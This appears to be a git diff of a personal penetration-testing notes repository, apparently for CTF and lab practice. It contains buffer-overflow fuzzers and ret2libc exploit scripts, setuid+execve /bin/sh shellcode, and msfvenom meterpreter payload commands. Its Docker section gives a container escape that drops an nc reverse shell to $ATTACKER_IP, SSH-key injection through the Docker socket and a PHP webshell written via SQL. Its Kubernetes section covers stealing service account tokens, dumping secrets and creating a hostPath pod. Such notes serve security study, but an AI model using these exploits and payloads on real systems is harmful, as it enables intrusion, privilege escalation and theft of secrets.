s.send(bytes(string + '\r\n', "latin1"))
|
||||
s.recv(1024)
|
||||
except:
|
||||
print ("[!] The program can't be reached")
|
||||
sys.exit(0)
|
||||
string += counter * 'A'
|
||||
time.sleep(1)
|
|
@ -0,0 +1,24 @@
|
|||
#!/usr/bin/env python2
|
||||
import sys,socket
|
||||
import time
|
||||
|
||||
address = '192.168.56.102'
|
||||
port = 9999
|
||||
buffer = ['A']
|
||||
counter = 100
|
||||
while len(buffer) < 10:
|
||||
buffer.append('A'*counter)
|
||||
counter=counter+100
|
||||
try:
|
||||
for string in buffer:
|
||||
print '[+] Sending %s bytes...' % len(string)
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
connect=s.connect((address,port))
|
||||
s.send(string + '\r\n')
|
||||
s.recv(1024)
|
||||
print '[+] Done'
|
||||
except:
|
||||
print '[!] Unable to connect to the application. You may have crashed it.'
|
||||
sys.exit(0)
|
||||
finally:
|
||||
s.close()
|
|
@ -0,0 +1,31 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import socket, time, sys
|
||||
|
||||
ip = "10.10.161.147"
|
||||
port = 9999
|
||||
timeout = 5
|
||||
prefix = ""
|
||||
|
||||
string = prefix + "A" * 100
|
||||
|
||||
while True:
|
||||
try:
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||
s.settimeout(timeout)
|
||||
s.connect((ip, port))
|
||||
s.recv(1024)
|
||||
s.recv(1024)
|
||||
s.send("User" '\r\n')
|
||||
#print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
|
||||
s.send(bytes(string, "latin-1"))
|
||||
s.recv(1024)
|
||||
s.send(string + '\r\n')
|
||||
#print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
|
||||
print(f"fuzzing with {len(string)} bytes")
|
||||
except:
|
||||
#print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
|
||||
sys.exit(0)
|
||||
string += 100 * "A"
|
||||
time.sleep(1)
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
import pwn
|
||||
|
||||
r = pwn.remote("10.10.156.228", 9999)
|
||||
r.recvuntil(":")
|
||||
r.send("User\r\n")
|
||||
r.recvuntil(":")
|
||||
r.send(b'A' * 2200)
|
||||
r.recvuntil("message:")
|
|
@ -0,0 +1,107 @@
|
|||
## Shellcode
|
||||
|
||||
* [linux syscalls](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) Are used to craft the shellcode in assembly language
|
||||
* [asmtutor.com](https://asmtutor.com) to check the assembly
|
||||
|
||||
## Staged and Unstaged Payloads
|
||||
|
||||
* An unstaged payload is directly embedded in a binary and executes as is. This may be used to start malicious payload which does not need a remote connection or nearly none.
|
||||
* A small stub of the staged payload is embedded in the binary and should load additional instructions from remote which build the final reverse shell. The downloaded part will only reside in memory. The downloaded shellcode can be changed
|
||||
|
||||
## Writing Shellcode Manually
|
||||
|
||||
* Executing the shellcode relies on syscalls of the system
|
||||
|
||||
* A 32 bit version looks like this
|
||||
```assembly
|
||||
SECTION .data
|
||||
msg db 'Hello World!', 0Ah
|
||||
|
||||
SECTION .text
|
||||
global _start
|
||||
|
||||
_start:
|
||||
|
||||
mov edx, 13
|
||||
mov ecx, msg
|
||||
mov ebx, 1
|
||||
mov eax, 4
|
||||
int 80h
|
||||
|
||||
mov ebx, 0 ; return 0 status on exit - 'No Errors'
|
||||
mov eax, 1 ; invoke SYS_EXIT (kernel opcode 1)
|
||||
int 80h
|
||||
```
|
||||
|
||||
* A 64 bit version looks like this
|
||||
```assembly
|
||||
global _start
|
||||
|
||||
section .text
|
||||
_start:
|
||||
jmp MESSAGE
|
||||
|
||||
OUTPUT:
|
||||
mov rax, 0x1
|
||||
mov rdi, 0x1
|
||||
pop rsi
|
||||
|
||||
mov rdx, 0xd
|
||||
syscall
|
||||
|
||||
mov rax, 0x3c
|
||||
mov rdi, 0x0
|
||||
syscall
|
||||
|
||||
MESSAGE:
|
||||
call OUTPUT
|
||||
db "Hello, world!", 0dh, 0ah
|
||||
```
|
||||
|
||||
### Compilation
|
||||
|
||||
* Compile and link 32 bit
|
||||
```sh
|
||||
nasm -f elf helloworld.asm
|
||||
ld -m elf_i386 helloworld.o -o helloworld
|
||||
```
|
||||
|
||||
* Compile and link 64 bit
|
||||
```sh
|
||||
nasm -f elf64 helloworld.asm
|
||||
ld helloworld.o -o helloworld
|
||||
```
|
||||
|
||||
### Dump the binary
|
||||
|
||||
* Dump the binary with `objdump -d helloworld` and take a look at the text section
|
||||
* Dump the text section into a file via
|
||||
```sh
|
||||
objcopy -j .text -O binary helloworld helloworld.text
|
||||
```
|
||||
|
||||
### Format the Shellcode
|
||||
|
||||
* Format and test the code by dumping it into a c file
|
||||
```
|
||||
xxd -i helloworld.text > helloworld.c
|
||||
sed -i '1s/^/#include<stdio.h>\n\n/' helloworld.c
|
||||
echo -e "\n\t(*(void(*)())helloworld_text)();\n\treturn 0;\n}" >> helloworld.c
|
||||
```
|
||||
|
||||
* Compile the c file with an exectuable stack
|
||||
```sh
|
||||
gcc -z execstack -g -o helloworld helloworld.c
|
||||
```
|
||||
|
||||
## Automated Shellcode Generation
|
||||
|
||||
* Automate the creation via msfvenom
|
||||
* Staged payloads look like this
|
||||
```sh
|
||||
msfvenom -p linux/x64/meterpreter/reverse_tcp
|
||||
```
|
||||
* Stageless payloads look like this
|
||||
```sh
|
||||
msfvenom -p linux/x64/meterpreter/reverse_tcp
|
||||
```
|
|
@ -0,0 +1,77 @@
|
|||
# amd64 instructions
|
||||
|
||||
* `;` starts a comment
|
||||
|
||||
## Values
|
||||
* __Immediate__, numbers
|
||||
* __register__, existing registers
|
||||
* __memory__, memory addresses
|
||||
|
||||
## Move
|
||||
* `MOV`, from source to destination
|
||||
* `LEA`, loads memory address and stores it in the destination. Address can have an offset. Does not dereference `[var]` or `[var+x]`
|
||||
* `PUSH` & `POP`, put & delete registers to/from stack.
|
||||
|
||||
## Arithmetic
|
||||
* `INC`, increment
|
||||
* `DEC`, decrement
|
||||
* `ADD`
|
||||
* `SUB`, substracts source from dest and stores in dest
|
||||
* `MUL` & `IMUL`, result may be stored in upper and lower halfs (rdx:rax)
|
||||
* `DIV` & `IDIV`, rax is divided by rbx and may be stored in two halfs as well
|
||||
|
||||
## Conditionals
|
||||
* `RET`, return value to the caller
|
||||
* `CMP`, compare two values and sets flag. Next instruction is a jump condition to a line number. Works as follows
|
||||
* `JE`, `JEZ`, `JLE` ... followed by linenumber
|
||||
* `NOP`, `\x90`
|
||||
* `CALL` a function
|
||||
|
||||
## Address Handling
|
||||
* `[var]`, memory address of var.
|
||||
* If var contains an address then after `mov [var], 42` var points to the value 42. `[` dereference.
|
||||
|
||||
## Zero Handling in Registers
|
||||
* Move to `eax` will result in zeroing the upper 32 bit of an `rax` register, move to `ax`, `ah`, `al` will not.
|
||||
* `MOVZX` zeros anything but the value moved to the register inside of it.
|
||||
|
||||
## Jumps
|
||||
* For signed value comparison
|
||||
* `JL/JNGE` (SF <> OF) ; Jump if less/not greater or equal
|
||||
* `JGE/JNL` (SF = OF) ; Jump if greater or equal/not less
|
||||
* `JLE/JNG` (ZF = 1 or SF <> OF); Jump if less or equal/not greater
|
||||
* `JG/JNLE` (ZF = 0 and SF = OF); Jump if greater/not less or equal
|
||||
|
||||
* For unsigned value comparison
|
||||
* `JB/JNAE` (CF = 1) ; Jump if below/not above or equal
|
||||
* `JAE/JNB` (CF = 0) ; Jump if above or equal/not below
|
||||
* `JBE/JNA` (CF = 1 or ZF = 1) ; Jump if below or equal/not above
|
||||
* `JA/JNBE` (CF = 0 and ZF = 0); Jump if above/not below or equal
|
||||
|
||||
## Flags
|
||||
* `eflags` 32bit
|
||||
* `rflags` 64bit
|
||||
|
||||
### Status
|
||||
* __Zero Flag__ (ZF), 1 if the result of the comparison is equal.
|
||||
* __Carry Flag__ (CF), a 1 is stored if a carry is needed after a calculation.
|
||||
* __Overflow Flag__ (OF), register overflow is 1
|
||||
* __Sign Flag__ (SF), 1 if result is negative.
|
||||
* __Adjust/Auxiliary Flag__ (AF), carry flag for BCD.
|
||||
* __Parity Flag__ (PF), 1 if the last 8 bits are even.
|
||||
* __Trap Flag__ (TF)
|
||||
|
||||
## Calling Conventions
|
||||
|
||||
## cdecl
|
||||
|
||||
## fastcall
|
||||
* First four are passed __left to right__
|
||||
* int -> RCX, RDX, R8, R9
|
||||
* float -> XMM0, XMM1, XMM2, XMM3
|
||||
* Rest is __right to left__
|
||||
* Basepointer is saved by the caller
|
||||
* Return values is passes via `rax` or `xmm0`
|
||||
* Caller allocates space for at least four values, so 32 bytes are reserved. `$rsp to $rsp+0x18`
|
||||
* Volatile registers are `rax, rcx, r8, r9, r10, r11, xmm0, xmm1, xmm2, xmm3, xmm4, xmm5`. These are destroyed after function call.
|
||||
* Nonvolatile registers are `rbx, rbp, rdi, rsi, rsp, r12, r13, r14, r15, xmm6-15` ares saved and restored after function call.
|
|
@ -0,0 +1,56 @@
|
|||
# amd64
|
||||
|
||||
* `rax` return value, caller saved.
|
||||
* `rbx` base register (used for mem basepointer)
|
||||
* `rcx` counter register
|
||||
* `r10`, `r11` are caller saved.
|
||||
* `rbx`, `r12`, `r13`, `r14` are callee saved
|
||||
* `rdx` data register
|
||||
* `rbp` is also callee saved(and can be optionally used as a frame pointer)
|
||||
* `rsp` is callee saved
|
||||
* `rip` next instruction pointer
|
||||
|
||||
## Function argument registers
|
||||
* `rdi`,`rsi`,`rdx`,`rcx`,`r8 `,`r9 `, called saved.
|
||||
* Further function args are stored inside its stack frame.
|
||||
|
||||
|
||||
## Overwriting Variables and Padding
|
||||
* Overwrite an atomic variable behind a buffer
|
||||
```C
|
||||
int main ( int argc, char ** argv ) {
|
||||
int var = 0
|
||||
char buffer[12];
|
||||
|
||||
gets(buffer);
|
||||
[...]
|
||||
}
|
||||
```
|
||||
* Stack layout
|
||||
```
|
||||
Bottom
|
||||
+------------------+
|
||||
| Saved registers |
|
||||
+------------------+
|
||||
| int var |
|
||||
+------------------+
|
||||
| char buffer [11] |
|
||||
| ... |
|
||||
| ... |
|
||||
| ... |
|
||||
| char buffer [0] |
|
||||
+------------------+
|
||||
| char ** argv |
|
||||
+------------------+
|
||||
| char argc |
|
||||
+------------------+
|
||||
Top
|
||||
```
|
||||
|
||||
* Watch out! I.e., a 12 byte array is padded to system memory allocation size.
|
||||
```
|
||||
+-------------+----+
|
||||
|12 byte array| 4b |
|
||||
+-------------+----+
|
||||
0 12 16 byte
|
||||
```
|
|
@ -0,0 +1,15 @@
|
|||
# pwntools
|
||||
|
||||
## Memory Addresses of ELF Binary
|
||||
* Find address of function and use it on $eip
|
||||
```python
|
||||
p = process(<binary>)
|
||||
elf = ELF(<binary>)
|
||||
__function = elf.symbol.<functionName>
|
||||
payload = fit({
|
||||
42: __function # Length measured via cyclic
|
||||
})
|
||||
p.sendline()
|
||||
proc.interactive()
|
||||
```
|
||||
|
|
@ -0,0 +1,99 @@
|
|||
# Radare2
|
||||
|
||||
## Usage
|
||||
### Debug
|
||||
```sh
|
||||
r2 -d <binary>
|
||||
```
|
||||
* Analyze
|
||||
```sh
|
||||
aaa
|
||||
```
|
||||
* Show all info
|
||||
```sh
|
||||
ia
|
||||
```
|
||||
* Search for strings
|
||||
```sh
|
||||
izz
|
||||
```
|
||||
* Main address
|
||||
```sh
|
||||
iM
|
||||
```
|
||||
* Entrypoint
|
||||
```sh
|
||||
ie
|
||||
```
|
||||
* Current memory address
|
||||
```sh
|
||||
s
|
||||
```
|
||||
* Show address of function or register, respectively
|
||||
```sh
|
||||
s <func>
|
||||
sr <reg>
|
||||
```
|
||||
* Show main
|
||||
```sh
|
||||
pdf @main
|
||||
```
|
||||
* Show main and follwing functions
|
||||
```sh
|
||||
pd @main
|
||||
```
|
||||
* Breakpoint
|
||||
```sh
|
||||
db 0xdeadbeef
|
||||
```
|
||||
* Show all breakpoints
|
||||
```sh
|
||||
dbi
|
||||
```
|
||||
* Show rbp-0x4
|
||||
```sh
|
||||
px @rbp-0x4
|
||||
```
|
||||
* Continue
|
||||
```sh
|
||||
dc
|
||||
```
|
||||
* Step
|
||||
```sh
|
||||
ds
|
||||
```
|
||||
* Show registers
|
||||
```sh
|
||||
dr
|
||||
```
|
||||
* Restart
|
||||
```sh
|
||||
ood
|
||||
```
|
||||
### Visual Mode
|
||||
* Enter visual mode via `VV`
|
||||
* Enter normal mode inside visual mode via `:`
|
||||
* Add comment via `;`
|
||||
|
||||
### Write Mode
|
||||
* Enter write mode via `w`
|
||||
* Write cache list via `wc`
|
||||
* Alter/modify opcode at current seek via `wA`
|
||||
* Use as follows
|
||||
```sh
|
||||
s <memoryaddress>
|
||||
wx <newOpcode>
|
||||
dc
|
||||
```
|
||||
|
||||
## AT&T Instructions
|
||||
* leaq src, dst: this instruction sets dst to the address denoted by the expression in src
|
||||
* addq src, dst: dst = dst + src
|
||||
* subq src, dst: dst = dst - src
|
||||
* imulq src, dst: dst = dst * src
|
||||
* salq src, dst: dst = dst << src
|
||||
* sarq src, dst: dst = dst >> src
|
||||
* xorq src, dst: dst = dst XOR src
|
||||
* andq src, dst: dst = dst & src
|
||||
* orq src, dst: dst = dst | src
|
||||
|
|
@ -0,0 +1,130 @@
|
|||
# Ret2libc
|
||||
|
||||
* [ir0nstone ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc)
|
||||
|
||||
* Check binary via
|
||||
* `checksec`, PIE shows start address, RELRO shows permissions of r/w to got
|
||||
* `file`
|
||||
* Libc is affected by ASLR state of the machine, check via `cat /proc/sys/kernel/randomize_va_space`
|
||||
* Off = 0
|
||||
* Partial = 1
|
||||
* Full = 2
|
||||
* `got` contains dynamically loaded functions
|
||||
* `plt` contains used loaded dynamical functions
|
||||
|
||||
## Finding something to execute
|
||||
* Interesting stuff to call from inside libc
|
||||
* `/bin/sh`
|
||||
* `system`
|
||||
|
||||
## libc -- Finding Offsets
|
||||
|
||||
* Find libc address at runtime via gbd
|
||||
```sh
|
||||
info sharedlibrary
|
||||
```
|
||||
|
||||
### Manually
|
||||
* On target find `sh` address inside libc
|
||||
```sh
|
||||
strings -a -t x /lib32/libc.so.6 | grep /bin/sh
|
||||
```
|
||||
* Sub from `system` address from inside libc
|
||||
```sh
|
||||
readelf -s /lib32/libc.so.6 | grep system
|
||||
```
|
||||
|
||||
### Measure the Buffer
|
||||
* With gef
|
||||
* `pattern create`
|
||||
* `run`
|
||||
* Use pattern
|
||||
* `pattern search $<register>`
|
||||
|
||||
## ROP -- Creating a Chain
|
||||
|
||||
* Creating a ROP chain to execute the `/bin/sh` with parameters
|
||||
* Check
|
||||
* Architecture
|
||||
* Calling convention
|
||||
|
||||
### Manually
|
||||
|
||||
```sh
|
||||
ROPgadget --binary <file> | grep rdi
|
||||
```
|
||||
* Find `ret`s, to put in front of rdi
|
||||
```sh
|
||||
objdump -d <file> | grep ret
|
||||
```
|
||||
|
||||
## Automated
|
||||
|
||||
* [xct's ropstar](https://github.com/xct/ropstar.git)
|
||||
|
||||
## Example without ASLR
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('<binary>')
|
||||
|
||||
cbase = 0x<libc_base>
|
||||
sys = cbase + <libc_system>
|
||||
sh = cbase + <libc_shell>
|
||||
rop_rdi = <found rop rdi>
|
||||
rop_ret = <found rop ret>
|
||||
|
||||
payload = b'A' * <count>
|
||||
payload += b'B' * 8
|
||||
payload += p64(rop_ret)
|
||||
payload += p64(rop_rdi)
|
||||
payload += p64(sh)
|
||||
payload += p64(system)
|
||||
payload += p64(0x0) # end payload
|
||||
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## Example with ASLR
|
||||
* Create context
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from pwn import *
|
||||
|
||||
context.binary = binary = '<binary>'
|
||||
elf = ELF(binary)
|
||||
rop = ROP(elf)
|
||||
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
|
||||
p = process()
|
||||
|
||||
# ROP I, needed when ASL is enabled
|
||||
payload = b'A' * 18
|
||||
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
|
||||
payload += p64(elf.got.gets)
|
||||
payload += p64(elf.plt.puts)
|
||||
payload += p64(elf.symbols.main)
|
||||
|
||||
p.recvline()
|
||||
p.sendline(payload)
|
||||
p.recvline()
|
||||
leak = u64(p.recvline().strip().ljust(8,b'\0')) # ljust, pre padding for alignement
|
||||
p.recvline()
|
||||
|
||||
log.info(f"gets: {hex(leak)}")
|
||||
libc.address = leak - libc.symbols.gets
|
||||
log.info(f"libc address: {hex(libc.address)}") # start address should be aligned
|
||||
|
||||
# ROP II
|
||||
payload = b'A' * 18
|
||||
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
|
||||
payload += p64(next(libc.search(b'/bin/sh')))
|
||||
payload += p64(rop.find_gadget(['ret'])[0])
|
||||
payload += p64(libc.symbols.system)
|
||||
|
||||
p.sendline(payload)
|
||||
p.recvline()
|
||||
p.interactive()
|
||||
```
|
|
@ -0,0 +1,23 @@
|
|||
xor rdi,rdi <------ set the rdi to 0
|
||||
xor rax,rax
|
||||
xor rsi, rsi <------ set the rsi to 0
|
||||
mov si, 1002 <------ put the value 1002 in the lower bits of the rsi
|
||||
mov di, 1002 <------ put the value 1002 in the lower bits of the rdi
|
||||
mov al,0x71 <------ put the setruid function in the al register
|
||||
syscall <------ call the function.
|
||||
xor rdx,rdx
|
||||
movabs rbx,0x68732f6e69622fff
|
||||
shr rbx,0x8
|
||||
push rbx
|
||||
mov rdi,rsp
|
||||
xor rax,rax
|
||||
push rax
|
||||
push rdi
|
||||
mov rsi,rsp
|
||||
mov al,0x3b
|
||||
syscall
|
||||
push 0x1
|
||||
pop rdi
|
||||
push 0x3c
|
||||
pop rax
|
||||
syscall
|
|
@ -0,0 +1,38 @@
|
|||
//setuid(0) + execve(/bin/sh) - just 4 fun.
|
||||
//xi4oyu [at] 80sec.com
|
||||
|
||||
/*
|
||||
main(){
|
||||
__asm( "xorq %rdi,%rdi\n\t"
|
||||
"mov $0x69,%al\n\t"
|
||||
"syscall \n\t"
|
||||
"xorq %rdx, %rdx \n\t"
|
||||
"movq $0x68732f6e69622fff,%rbx; \n\t"
|
||||
"shr $0x8, %rbx; \n\t"
|
||||
"push %rbx; \n\t"
|
||||
"movq %rsp,%rdi; \n\t"
|
||||
"xorq %rax,%rax; \n\t"
|
||||
"pushq %rax; \n\t"
|
||||
"pushq %rdi; \n\t"
|
||||
"movq %rsp,%rsi; \n\t"
|
||||
"mov $0x3b,%al; \n\t"
|
||||
"syscall ; \n\t"
|
||||
"pushq $0x1 ; \n\t"
|
||||
"pop %rdi ; \n\t"
|
||||
"pushq $0x3c ; \n\t"
|
||||
"pop %rax ; \n\t"
|
||||
"syscall ; \n\t"
|
||||
);
|
||||
}
|
||||
*/
|
||||
main() {
|
||||
char shellcode[] =
|
||||
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62"
|
||||
"\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31"
|
||||
"\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c"
|
||||
"\x58\x0f\x05";
|
||||
(*(void (*)()) shellcode)();
|
||||
}
|
||||
|
||||
//2009-05-14
|
||||
//evil.xi4oyu
|
|
@ -0,0 +1,26 @@
|
|||
# Meltdown
|
||||
|
||||
* [PoC from IAIK](https://github.com/IAIK/meltdown.git)
|
||||
![Overview](https://gcdn.pbrd.co/images/IitOpaf.png?raw=true "Meltdown")
|
||||
|
||||
* Each page table entries has the following flag values
|
||||
* SUP (user or kernel mode)
|
||||
* READ
|
||||
* WRITE
|
||||
|
||||
* Flags are checked by the MMU
|
||||
|
||||
* Pipelined steps of an instruction are the following
|
||||
* Fetch
|
||||
* Decode
|
||||
* Execute
|
||||
* Memory access
|
||||
* Register write back
|
||||
|
||||
* A pipeline can execute one of each steps concurrently every clock cycle.
|
||||
* The MMU may jump between instruction queued in the pipeline to make use of time while the current instruction stalls.
|
||||
* __Speculative execution__ is the reordering of instructions to speed up execution inside the pipeline.
|
||||
* If a condition is executed speculatively, kernel memory may be executed. No error is thrown, because the is no assurance if the condition will actually be executed in the end.
|
||||
|
||||
* [Kernel Page Table Isolation](http://www.brendangregg.com/blog/2018-02-09/kpti-kaiser-meltdown-performance.html) can be used to mitigate meltdown.
|
||||
|
|
@ -0,0 +1,185 @@
|
|||
# Docker Vulnerabilities
|
||||
|
||||
* [Container enumeration](https://github.com/stealthcopter/deepce)
|
||||
|
||||
## Abusing Registry
|
||||
* [Registry Doc](https://docs.docker.com/registry/spec/api/)
|
||||
* Registry is a json API endpoint
|
||||
* Private registry added in `/etc/docker/daemon.json`
|
||||
* Can be found by nmap as a service
|
||||
|
||||
### Enumeration
|
||||
* General query
|
||||
```sh
|
||||
curl http://test.com:5000/v2/_catalog`
|
||||
```
|
||||
* List tags
|
||||
```sh
|
||||
curl http://test.com:5000/v2/<REPO>/<APP>/tags/list
|
||||
```
|
||||
* `history` section of the json object contains commands executed at build phase. May contain sensitive data like passwords.
|
||||
```sh
|
||||
curl http://test.com:5000/v2/<REPO>/<APP>/manifest/<TAG>
|
||||
```
|
||||
|
||||
## Reversing Docker Images
|
||||
* [Dive](https://github.com/wagoodman/dive)
|
||||
```sh
|
||||
dive <IMAGE-ID>
|
||||
```
|
||||
|
||||
## Uploading Images to Registry
|
||||
* Ever image has a `latest` tag
|
||||
* Upload modified docker image as `latest`
|
||||
* [Article](https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/malicious-docker-hub-container-images-cryptocurrency-mining)
|
||||
|
||||
## RCE via Exposed Docker Daemon
|
||||
* Users inside the `docker` group may open tcp socket through docker
|
||||
* `nmap -sV -p- <IP> -vv` to find exposed tcp sockets via docker
|
||||
* Confirming via `curl http://test.com:2375/version` on open docker port
|
||||
* Execute commands on socket
|
||||
```sh
|
||||
docker -H tcp://test.com:2375 ps
|
||||
docker -H tcp://test.com:2375 exec <container> <cmd>
|
||||
docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh
|
||||
```
|
||||
|
||||
* [root please](https://registry.hub.docker.com/r/chrisfosterelli/rootplease)
|
||||
|
||||
## Escape Container via Exposed Docker Daemon
|
||||
* Looking for exposed docker sockets
|
||||
```sh
|
||||
find / -name "*sock"
|
||||
groups
|
||||
```
|
||||
|
||||
* Mount the host volume and chroot to it, need alpine image.
|
||||
```sh
|
||||
docker images
|
||||
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
||||
```
|
||||
or
|
||||
```sh
|
||||
docker run -v /:/host --rm -it <imageID> chroot /host/ bash
|
||||
```
|
||||
|
||||
## Shared Namespaces
|
||||
* Namespaces
|
||||
* Cgroups
|
||||
* OverlayFS
|
||||
|
||||
* Requires root inside the container
|
||||
|
||||
* Execute command
|
||||
```sh
|
||||
nsenter --target 1 --mount sh
|
||||
```
|
||||
|
||||
## Misconfiguration
|
||||
* Privileged container connect to the host directly, not through the docker engine
|
||||
* Execution of bins on the host from libs inside the container is possible
|
||||
```sh
|
||||
capsh --print
|
||||
```
|
||||
* `man capabilities`
|
||||
|
||||
* [PoC](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/#:~:text=The%20SYS_ADMIN%20capability%20allows%20a,security%20risks%20of%20doing%20so.)
|
||||
|
||||
* Exploit and get a reverse shell to the host via
|
||||
```sh
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/exploit" > /tmp/cgrp/release_agent
|
||||
echo '#!/bin/sh' > /exploit
|
||||
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit
|
||||
chmod a+x /exploit
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
* The file may appear outside the container on the host system
|
||||
## Check fdisk
|
||||
|
||||
* `fdisk -l` and `lsblk`, host bulk device may be exposed
|
||||
* Mount the device
|
||||
```sh
|
||||
mkdir /mnt/hostdev
|
||||
mount /dev/<hostVda> /mnt/hostdev
|
||||
```
|
||||
* Check `/dev` as well !!! and mount device
|
||||
|
||||
## Creating a Container from inside another container
|
||||
|
||||
* Needs root inside a container
|
||||
* Upload [static curl](https://github.com/moparisthebest/static-curl)
|
||||
* Check available images and containers
|
||||
```sh
|
||||
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
|
||||
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
|
||||
```
|
||||
* Inside the container as root
|
||||
```sh
|
||||
curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'
|
||||
```
|
||||
* Return value is the ID
|
||||
* Start a container
|
||||
```sh
|
||||
curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
|
||||
```
|
||||
* Login in to the host via ssh remotely or socat locally
|
||||
```sh
|
||||
socat - UNIX-CONNECT:/var/run/docker.sock
|
||||
POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
|
||||
Host:
|
||||
Connection: Upgrade
|
||||
Upgrade: tcp
|
||||
|
||||
HTTP/1.1 101 UPGRADED
|
||||
Content-Type: application/vnd.docker.raw-stream
|
||||
Connection: Upgrade
|
||||
Upgrade: tcp
|
||||
```
|
||||
|
||||
## Escape through DB
|
||||
|
||||
* Login into DB
|
||||
* Create table
|
||||
* Inject PHP code
|
||||
* Select table content intoa file the user can read
|
||||
* Execute the file
|
||||
```sql
|
||||
create table h4x0r (pwn varchar(1024));
|
||||
insert into h4x0r (pwn) values ('<?php $cmd=$_GET[“cmd”];system($cmd);?>');
|
||||
select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';
|
||||
```
|
||||
* curl the webshell hon the exploited host
|
||||
```sh
|
||||
curl <host-IP>/shell.php?cmd=id
|
||||
```
|
||||
|
||||
## Dirty c0w
|
||||
https://github.com/dirtycow/dirtycow.github.io
|
||||
|
||||
## runC
|
||||
[CVE-2019-5736](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
|
||||
|
||||
## Securing a Container
|
||||
* Least Privileges
|
||||
* Seccomp
|
||||
* Securing Registry via TLS
|
||||
|
||||
## Checking if you are inside a container
|
||||
* Low process count
|
||||
```sh
|
||||
ps aux
|
||||
```
|
||||
|
||||
* `.dockerenv` in `/`
|
||||
```sh
|
||||
cd / && ls -lah
|
||||
```
|
||||
|
||||
* cgroups contain docker names
|
||||
```sh
|
||||
pwd /proc/1
|
||||
cat cgroups
|
||||
```
|
|
@ -0,0 +1,59 @@
|
|||
# Kubernetes
|
||||
|
||||
* Check [kubeletctl](https://github.com/cyberark/kubeletctl.git) as well
|
||||
|
||||
## Account Token
|
||||
* Snatch an account token from inside a pod
|
||||
* Use it via kubectl, watch out for authorizations and namespaces
|
||||
```sh
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 auth can-i --list
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get namespaces
|
||||
```
|
||||
* Save secrets from namespaces as yaml file
|
||||
```sh
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get secrets -o yaml -n kube-system > kube-system.yml
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get secrets -n kube-system
|
||||
```
|
||||
* Specify secret
|
||||
```sh
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get secrets flag -n kube-system -o yaml
|
||||
```
|
||||
|
||||
## Privilege Escalation
|
||||
* [appsecco's blog](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216)
|
||||
* Show images via
|
||||
```sh
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get pods
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get pod <image> -o yaml
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get nodes -o yaml
|
||||
```
|
||||
* Use a found image to create the following yaml file
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: attacking-pod
|
||||
spec:
|
||||
containers:
|
||||
- image: <image name in found containers/nodes section>
|
||||
name: <name of image in found containers/nodes section>
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: host
|
||||
volumes:
|
||||
- name: host
|
||||
hostPath:
|
||||
path: /
|
||||
type: Directory
|
||||
```
|
||||
